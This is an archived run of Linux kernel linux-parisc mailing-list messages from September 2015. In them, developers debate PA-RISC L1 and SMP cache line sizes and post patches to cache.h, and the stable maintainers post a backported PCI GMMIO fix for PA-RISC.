In-Reply-To: <1443113829.2203.39.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.56053C13.0034,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26043
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26043>


On 2015-09-24, at 12:57 PM, James Bottomley wrote:

> On Thu, 2015-09-24 at 12:39 -0400, John David Anglin wrote:
>> On 2015-09-24 10:20 AM, James Bottomley wrote:
>>> On Tue, 2015-09-22 at 20:12 -0400, John David Anglin wrote:
>>>> I question the the atomic hash changes as the original defines are
>>>> taken directly from generic code.
>>> It's about scaling.  The fewer locks, the more contention in a hash lock
>>> system.  The interesting question is where does the line tip over so
>>> that we see less speed up for more locks.
>>> 
>>>> Optimally, we want one spinlock per cacheline.  Why do we care about
>>>> the size of atomic_t?
>>> OK, so I think we're not using the word 'line size' in the same way.
>>> When Linux says 'line size' it generally means the cache ownership line
>>> size: the minimum block the inter cpu coherence operates on.  Most of
>>> the architectural evidence for PA systems suggests that this is 16  We
>>> should be able to get this definitively: it's however many lower bits of
>>> a virtual address the LCI instruction truncates.  128 seems to be the
>>> cache burst fill size (the number of bytes that will be pulled into the
>>> cache by a usual operation touching any byte in the area).  For
>>> streaming operations, the burst fill size is what we want to use, but
>>> for coherence operations it's the ownership line size.  The reason is
>>> that different CPUs can own adjacent lines uncontended, so one spinlock
>>> per this region is optimal.
>>> 
>>> The disadvantage to padding things out to the cache burst fill size is
>>> that we blow the cache footprint: data is too far apart and we use far
>>> more cache than we should meaning the cache thrashes much sooner as you
>>> load up the CPU.  On SMP systems, Linux uses SMP_CACHE_BYTES ==
>>> L1_CACHE_BYTES for padding on tons of critical structures if it's too
>>> big we'll waste a lot of cache footprint for no gain.
>> It looks to me like the LCI instruction must zero bits rather than 
>> truncate as drivers
>> (e.g., sba_iommu.c) drop the least significant 12 bits (ci >> 
>> PAGE_SHIFT).  I think we
>> should do the LCI test.  I had been assuming that the two lengths would 
>> be the same.
> 
> It's a backwards compatibility problem: You get to fix the cache
> ownership size once per incompatible architecture.  Once PA produced 64
> bit chips was the last opportunity to do this because an older 64 bit
> kernel (for PA and Linux) must work reasonably well on newer processors.
> This means that if you increase the actual ownership size and the older
> kernel suddenly starts thrashing because of SMP cache interference,
> everyone blames you and says your new chips are rubbish (this did
> actually happen to Intel once, if I remember correctly).  That's why
> it's usually avoided.

The division by L1_CACHE_BYTES in ATOMIC_HASH simply reflects the alignment of
atomic_t types.  We want a hash value that's not always zero.

On systems with hardware atomic operations, atomic variables need to be on separate
cache lines to minimize contention.  Thus, the L1_CACHE_BYTES alignment.

Our atomic_t types are guarded by ldcw locks.  So, they are not really subject to contention.
You could be correct that L1_CACHE_BYTES could be reduced to 16 (i.e., maximum alignment
needed for any type on parisc) provided it isn't used somewhere where we need the actual L1
cache line size as returned by the PDC.

When this started, I was pushing to see if placing our ldcw locks on different lines
helped performance.  Possibly, the number could be increased as well.  On PA20, we currently
align __atomic_hash to __lock_aligned (16 bytes).  So, all four locks are on the same line.

Dave

--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: adjust L1_CACHE_BYTES to 128 bytes on PA8800 and
 PA8900 CPUs
Date: Fri, 25 Sep 2015 11:56:25 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <56056EA9.9070404@bell.net>
References: <20150902162000.GC2444@ls3530.box>
 <1441287043.2235.6.camel@HansenPartnership.com>
 <1441288665.2235.17.camel@HansenPartnership.com> <55EB5EFA.4040407@gmx.de>
 <56017FB3.5050709@gmx.de> <17069A9B-BA68-4BDA-9342-83E33A22D547@bell.net>
 <1443104427.2203.17.camel@HansenPartnership.com> <56042730.2050706@bell.net>
 <1443113829.2203.39.camel@HansenPartnership.com>
 <BA678D0F-591B-4925-A50B-852C0C3419F7@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1443196630 8279 80.91.229.3 (25 Sep 2015 15:57:10 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 25 Sep 2015 15:57:10 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>, linux-parisc@vger.kernel.org
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 25 17:57:04 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZfVMO-0001PV-3v
	for glpp-linux-parisc@plane.gmane.org; Fri, 25 Sep 2015 17:56:32 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932218AbbIYP4a (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 25 Sep 2015 11:56:30 -0400
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:37582 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S932539AbbIYP42 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 25 Sep 2015 11:56:28 -0400
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20150925155626.PISU17053.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Fri, 25 Sep 2015 11:56:26 -0400
Original-Received: from [192.168.0.116] (really [64.231.92.167])
          by mtlspm02.bell.net with ESMTP
          id <20150925155626.SUPM29037.mtlspm02.bell.net@[192.168.0.116]>;
          Fri, 25 Sep 2015 11:56:26 -0400
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:38.0) Gecko/20100101
 Thunderbird/38.2.0
In-Reply-To: <BA678D0F-591B-4925-A50B-852C0C3419F7@bell.net>
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.56056EAA.02F1,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26044
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26044>

On 2015-09-25 8:20 AM, John David Anglin wrote:
> Our atomic_t types are guarded by ldcw locks.  So, they are not really subject to contention.
> You could be correct that L1_CACHE_BYTES could be reduced to 16 (i.e., maximum alignment
> needed for any type on parisc) provided it isn't used somewhere where we need the actual L1
> cache line size as returned by the PDC.
Digging through various documentation, I now believe that L1_CACHE_BYTES 
is 16 bytes on ALL PA-RISC
processors.  We are getting confused by the L2 length reported by the 
PDC.  The PA-8800 is essentially
two PA-8700s integrated on the same die.

See page 10 in this document:
https://parisc.wiki.kernel.org/images-parisc/e/e9/PA-8700wp.pdf

It shows the PA-8700 L1 design.

Dave

-- 
John David Anglin  dave.anglin@bell.net

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH][RFC] parisc: Change L1_CACHE_BYTES to 16
Date: Sat, 26 Sep 2015 11:38:26 -0400
Lines: 103
Approved: news@gmane.org
Message-ID: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-43--1029245327
X-Trace: ger.gmane.org 1443281918 25612 80.91.229.3 (26 Sep 2015 15:38:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Sep 2015 15:38:38 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-parisc List <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 26 17:38:29 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZfrYT-0000t5-3j
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 Sep 2015 17:38:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751478AbbIZPi2 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Sep 2015 11:38:28 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:36579 "EHLO
	torfep01.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751468AbbIZPi2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Sep 2015 11:38:28 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20150926153826.EMSN22640.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sat, 26 Sep 2015 11:38:26 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by torspm01.bell.net
          with ESMTP
          id <20150926153826.HTZY24849.torspm01.bell.net@[192.168.2.10]>;
          Sat, 26 Sep 2015 11:38:26 -0400
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020204.5606BBF2.011E,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26045
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26045>


--Apple-Mail-43--1029245327
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

The attached change reduces L1_CACHE_BYTES from 32 on PA1.1 and 64 on =
PA2.0 to 16.

This is based on examination of the L1 cache design for the PA-8700 =
processor where it can
be seen the processor loads two double words per cycle.  This line =
length is consistent with the
original alignment requirement for the ldcw instruction.

Thus, we need to distinguish between the L1 and L2 (SMP) cache line =
lengths.

The attached change bumps SMP_CACHE_BYTES to 128 bytes as this is the =
line length used
on PA-8800 and PA-8900 processors.  This increases the overall kernel =
size somewhat but seems
logically correct.

I left ARCH_DMA_MINALIGN at L1_CACHE_BYTES as that's the define most =
architectures use.

There are a few uses of L1_CACHE_BYTES in drivers/parisc.  This is the =
code that's most likely
to break from the change.

I have lightly tested the change on c8000 running 4.2.1+.

Signed-off-by: John David Anglin <dave.anglin@bell.net>


--Apple-Mail-43--1029245327
Content-Disposition: attachment;
	filename=cache.h.d.txt
Content-Type: text/plain;
	name="cache.h.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/cache.h =
b/arch/parisc/include/asm/cache.h
index 47f11c7..e92a355 100644
--- a/arch/parisc/include/asm/cache.h
+++ b/arch/parisc/include/asm/cache.h
@@ -7,24 +7,23 @@
=20
=20
 /*
- * PA 2.0 processors have 64-byte cachelines; PA 1.1 processors have
- * 32-byte cachelines.  The default configuration is not for SMP =
anyway,
+ * PA 2.0 processors have 64 and 128-byte L2 cachelines; PA 1.1 =
processors
+ * have 32-byte cachelines.  The default configuration is not for SMP =
anyway,
  * so if you're building for SMP, you should select the appropriate
  * processor type.  There is a potential livelock danger when running
  * a machine with this value set too small, but it's more probable =
you'll
  * just ruin performance.
  */
-#ifdef CONFIG_PA20
-#define L1_CACHE_BYTES 64
-#define L1_CACHE_SHIFT 6
-#else
-#define L1_CACHE_BYTES 32
-#define L1_CACHE_SHIFT 5
-#endif
+#define L1_CACHE_BYTES 16
+#define L1_CACHE_SHIFT 4
=20
 #ifndef __ASSEMBLY__
=20
-#define SMP_CACHE_BYTES L1_CACHE_BYTES
+#ifdef CONFIG_PA20
+#define SMP_CACHE_BYTES (8 * L1_CACHE_BYTES)
+#else
+#define SMP_CACHE_BYTES (2 * L1_CACHE_BYTES)
+#endif
=20
 #define ARCH_DMA_MINALIGN	L1_CACHE_BYTES
=20

--Apple-Mail-43--1029245327
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii



--
John David Anglin	dave.anglin@bell.net

--Apple-Mail-43--1029245327--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.stable,gmane.linux.kernel.pci
Subject: [PATCH 4.2 099/134] PCI,parisc: Enable 64-bit bus addresses on PA-RISC
Date: Sat, 26 Sep 2015 13:55:51 -0700
Lines: 59
Approved: news@gmane.org
Message-ID: <20150926205317.816721300@linuxfoundation.org>
References: <20150926205311.819185658@linuxfoundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
X-Trace: ger.gmane.org 1443301448 19585 80.91.229.3 (26 Sep 2015 21:04:08 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Sep 2015 21:04:08 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	stable@vger.kernel.org, linux-pci@vger.kernel.org,
	Bjorn Helgaas <bhelgaas@google.com>,
	Meelis Roos <mroos@linux.ee>, Helge Deller <deller@gmx.de>
To: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-kernel-owner@vger.kernel.org Sat Sep 26 23:03:54 2015
Return-path: <linux-kernel-owner@vger.kernel.org>
Envelope-to: glk-linux-kernel-3@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-kernel-owner@vger.kernel.org>)
	id 1ZfwdH-0000mQ-RM
	for glk-linux-kernel-3@plane.gmane.org; Sat, 26 Sep 2015 23:03:48 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757315AbbIZU76 (ORCPT <rfc822;glk-linux-kernel-3@m.gmane.org>);
	Sat, 26 Sep 2015 16:59:58 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:55314 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754393AbbIZU5b (ORCPT
	<rfc822;linux-kernel@vger.kernel.org>);
	Sat, 26 Sep 2015 16:57:31 -0400
Original-Received: from localhost (c-50-170-35-168.hsd1.wa.comcast.net [50.170.35.168])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id 1A8E21177;
	Sat, 26 Sep 2015 20:57:31 +0000 (UTC)
X-Mailer: git-send-email 2.5.3
In-Reply-To: <20150926205311.819185658@linuxfoundation.org>
User-Agent: quilt/0.64
Original-Sender: linux-kernel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-kernel.vger.kernel.org>
X-Mailing-List: linux-kernel@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel:2047431 gmane.linux.ports.parisc:26046 gmane.linux.kernel.stable:150160 gmane.linux.kernel.pci:45458
Archived-At: <http://permalink.gmane.org/gmane.linux.kernel/2047431>

4.2-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Helge Deller <deller@gmx.de>

commit e02a653e15d8d32e9e768fd99a3271aafe5c5d77 upstream.

Commit 3a9ad0b ("PCI: Add pci_bus_addr_t") unconditionally introduced usage of
64-bit PCI bus addresses on all 64-bit platforms which broke PA-RISC.

It turned out that due to enabling the 64-bit addresses, the PCI logic decided
to use the GMMIO instead of the LMMIO region. This commit simply disables
registering the GMMIO and thus we fall back to use the LMMIO region as before.

Reverts commit 45ea2a5fed6dacb9bb0558d8b21eacc1c45d5bb4
("PCI: Don't use 64-bit bus addresses on PA-RISC")

To: linux-parisc@vger.kernel.org
Cc: linux-pci@vger.kernel.org
Cc: Bjorn Helgaas <bhelgaas@google.com>
Cc: Meelis Roos <mroos@linux.ee>
Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/parisc/lba_pci.c |    7 +++++--
 drivers/pci/Kconfig      |    2 +-
 2 files changed, 6 insertions(+), 3 deletions(-)

--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1556,8 +1556,11 @@ lba_driver_probe(struct parisc_device *d
 	if (lba_dev->hba.lmmio_space.flags)
 		pci_add_resource_offset(&resources, &lba_dev->hba.lmmio_space,
 					lba_dev->hba.lmmio_space_offset);
-	if (lba_dev->hba.gmmio_space.flags)
-		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
+	if (lba_dev->hba.gmmio_space.flags) {
+		/* pci_add_resource(&resources, &lba_dev->hba.gmmio_space); */
+		pr_warn("LBA: Not registering GMMIO space %pR\n",
+			&lba_dev->hba.gmmio_space);
+	}
 
 	pci_add_resource(&resources, &lba_dev->hba.bus_num);
 
--- a/drivers/pci/Kconfig
+++ b/drivers/pci/Kconfig
@@ -2,7 +2,7 @@
 # PCI configuration
 #
 config PCI_BUS_ADDR_T_64BIT
-	def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
+	def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
 	depends on PCI
 
 config PCI_MSI



From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.kernel.stable,gmane.linux.kernel.pci
Subject: [PATCH 4.1 076/159] PCI,parisc: Enable 64-bit bus addresses on PA-RISC
Date: Sat, 26 Sep 2015 13:55:22 -0700
Lines: 64
Approved: news@gmane.org
Message-ID: <20150926205318.076976875@linuxfoundation.org>
References: <20150926205313.363686083@linuxfoundation.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-15
X-Trace: ger.gmane.org 1443301740 23471 80.91.229.3 (26 Sep 2015 21:09:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 26 Sep 2015 21:09:00 +0000 (UTC)
Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>,
	stable@vger.kernel.org, linux-pci@vger.kernel.org,
	Bjorn Helgaas <bhelgaas@google.com>,
	Meelis Roos <mroos@linux.ee>, Helge Deller <deller@gmx.de>
To: linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 26 23:08:44 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Zfwhq-0006wE-Tl
	for glpp-linux-parisc@plane.gmane.org; Sat, 26 Sep 2015 23:08:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754161AbbIZVIa (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 26 Sep 2015 17:08:30 -0400
Original-Received: from mail.linuxfoundation.org ([140.211.169.12]:57557 "EHLO
	mail.linuxfoundation.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S933271AbbIZVHs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sat, 26 Sep 2015 17:07:48 -0400
Original-Received: from localhost (c-50-170-35-168.hsd1.wa.comcast.net [50.170.35.168])
	by mail.linuxfoundation.org (Postfix) with ESMTPSA id A9A90CD9;
	Sat, 26 Sep 2015 21:07:41 +0000 (UTC)
X-Mailer: git-send-email 2.5.3
In-Reply-To: <20150926205313.363686083@linuxfoundation.org>
User-Agent: quilt/0.64
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26047 gmane.linux.kernel:2047454 gmane.linux.kernel.stable:150183 gmane.linux.kernel.pci:45459
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26047>

4.1-stable review patch.  If anyone has any objections, please let me know.

------------------

From: Helge Deller <deller@gmx.de>

commit e02a653e15d8d32e9e768fd99a3271aafe5c5d77 upstream.

Commit 3a9ad0b ("PCI: Add pci_bus_addr_t") unconditionally introduced usage of
64-bit PCI bus addresses on all 64-bit platforms which broke PA-RISC.

It turned out that due to enabling the 64-bit addresses, the PCI logic decided
to use the GMMIO instead of the LMMIO region. This commit simply disables
registering the GMMIO and thus we fall back to use the LMMIO region as before.

Reverts commit 45ea2a5fed6dacb9bb0558d8b21eacc1c45d5bb4
("PCI: Don't use 64-bit bus addresses on PA-RISC")

To: linux-parisc@vger.kernel.org
Cc: linux-pci@vger.kernel.org
Cc: Bjorn Helgaas <bhelgaas@google.com>
Cc: Meelis Roos <mroos@linux.ee>
Signed-off-by: Helge Deller <deller@gmx.de>
Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>

---
 drivers/parisc/lba_pci.c |    7 +++++--
 drivers/pci/Kconfig      |    2 +-
 2 files changed, 6 insertions(+), 3 deletions(-)

--- a/drivers/parisc/lba_pci.c
+++ b/drivers/parisc/lba_pci.c
@@ -1556,8 +1556,11 @@ lba_driver_probe(struct parisc_device *d
 	if (lba_dev->hba.lmmio_space.flags)
 		pci_add_resource_offset(&resources, &lba_dev->hba.lmmio_space,
 					lba_dev->hba.lmmio_space_offset);
-	if (lba_dev->hba.gmmio_space.flags)
-		pci_add_resource(&resources, &lba_dev->hba.gmmio_space);
+	if (lba_dev->hba.gmmio_space.flags) {
+		/* pci_add_resource(&resources, &lba_dev->hba.gmmio_space); */
+		pr_warn("LBA: Not registering GMMIO space %pR\n",
+			&lba_dev->hba.gmmio_space);
+	}
 
 	pci_add_resource(&resources, &lba_dev->hba.bus_num);
 
--- a/drivers/pci/Kconfig
+++ b/drivers/pci/Kconfig
@@ -2,7 +2,7 @@
 # PCI configuration
 #
 config PCI_BUS_ADDR_T_64BIT
-	def_bool y if (ARCH_DMA_ADDR_T_64BIT || (64BIT && !PARISC))
+	def_bool y if (ARCH_DMA_ADDR_T_64BIT || 64BIT)
 	depends on PCI
 
 config PCI_MSI


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:55 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH v2][RFC] parisc: Change L1_CACHE_BYTES to 16
Date: Sun, 27 Sep 2015 12:07:00 -0400
Lines: 105
Approved: news@gmane.org
Message-ID: <32A3BF6F-B243-4AD4-9AE9-A5F9DAE0270A@bell.net>
References: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-6--941130753
X-Trace: ger.gmane.org 1443370054 13769 80.91.229.3 (27 Sep 2015 16:07:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 27 Sep 2015 16:07:34 +0000 (UTC)
Cc: linux-parisc List <linux-parisc@vger.kernel.org>,
	Helge Deller <deller@gmx.de>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 27 18:07:26 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1ZgETh-00051L-0p
	for glpp-linux-parisc@plane.gmane.org; Sun, 27 Sep 2015 18:07:05 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756283AbbI0QHE (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 27 Sep 2015 12:07:04 -0400
Original-Received: from simcoe207srvr.owm.bell.net ([184.150.200.207]:47809 "EHLO
	torfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1756221AbbI0QHD (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 27 Sep 2015 12:07:03 -0400
Original-Received: from bell.net torfep01 184.150.200.158 by torfep01.bell.net
          with ESMTP
          id <20150927160701.KPSV22640.torfep01.bell.net@torspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 27 Sep 2015 12:07:01 -0400
Original-Received: from [192.168.2.10] (really [76.69.120.10]) by torspm01.bell.net
          with ESMTP
          id <20150927160701.WFDV24849.torspm01.bell.net@[192.168.2.10]>;
          Sun, 27 Sep 2015 12:07:01 -0400
In-Reply-To: <42430464-867C-4E0B-8E95-C6CDB6D8A0B2@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020202.56081425.0066,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26048
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26048>


--Apple-Mail-6--941130753
Content-Transfer-Encoding: quoted-printable
Content-Type: text/plain;
	charset=us-ascii

On 2015-09-26, at 11:38 AM, John David Anglin wrote:

> The attached change reduces L1_CACHE_BYTES from 32 on PA1.1 and 64 on =
PA2.0 to 16.
>=20
> This is based on examination of the L1 cache design for the PA-8700 =
processor where it can
> be seen the processor loads two double words per cycle.  This line =
length is consistent with the
> original alignment requirement for the ldcw instruction.
>=20
> Thus, we need to distinguish between the L1 and L2 (SMP) cache line =
lengths.
>=20
> The attached change bumps SMP_CACHE_BYTES to 128 bytes as this is the =
line length used
> on PA-8800 and PA-8900 processors.  This increases the overall kernel =
size somewhat but seems
> logically correct.


Slight tweak to previous.  This version only bumps SMP_CACHE_BYTES when =
CONFIG_SMP
is defined.

Signed-off-by: John David Anglin <dave.anglin@bell.net>



--Apple-Mail-6--941130753
Content-Disposition: attachment;
	filename=cache.h.d.txt
Content-Type: text/plain;
	name="cache.h.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/arch/parisc/include/asm/cache.h =
b/arch/parisc/include/asm/cache.h
index 47f11c7..cf11dd4 100644
--- a/arch/parisc/include/asm/cache.h
+++ b/arch/parisc/include/asm/cache.h
@@ -7,24 +7,27 @@
=20
=20
 /*
- * PA 2.0 processors have 64-byte cachelines; PA 1.1 processors have
- * 32-byte cachelines.  The default configuration is not for SMP =
anyway,
+ * PA 2.0 processors have 64 and 128-byte L2 cachelines; PA 1.1 =
processors
+ * have 32-byte cachelines.  The default configuration is not for SMP =
anyway,
  * so if you're building for SMP, you should select the appropriate
  * processor type.  There is a potential livelock danger when running
  * a machine with this value set too small, but it's more probable =
you'll
  * just ruin performance.
  */
-#ifdef CONFIG_PA20
-#define L1_CACHE_BYTES 64
-#define L1_CACHE_SHIFT 6
-#else
-#define L1_CACHE_BYTES 32
-#define L1_CACHE_SHIFT 5
-#endif
+#define L1_CACHE_BYTES 16
+#define L1_CACHE_SHIFT 4
=20
 #ifndef __ASSEMBLY__
=20
+#ifdef CONFIG_SMP
+#ifdef CONFIG_PA20
+#define SMP_CACHE_BYTES (8 * L1_CACHE_BYTES)
+#else
+#define SMP_CACHE_BYTES (2 * L1_CACHE_BYTES)
+#endif
+#else
 #define SMP_CACHE_BYTES L1_CACHE_BYTES
+#endif
=20
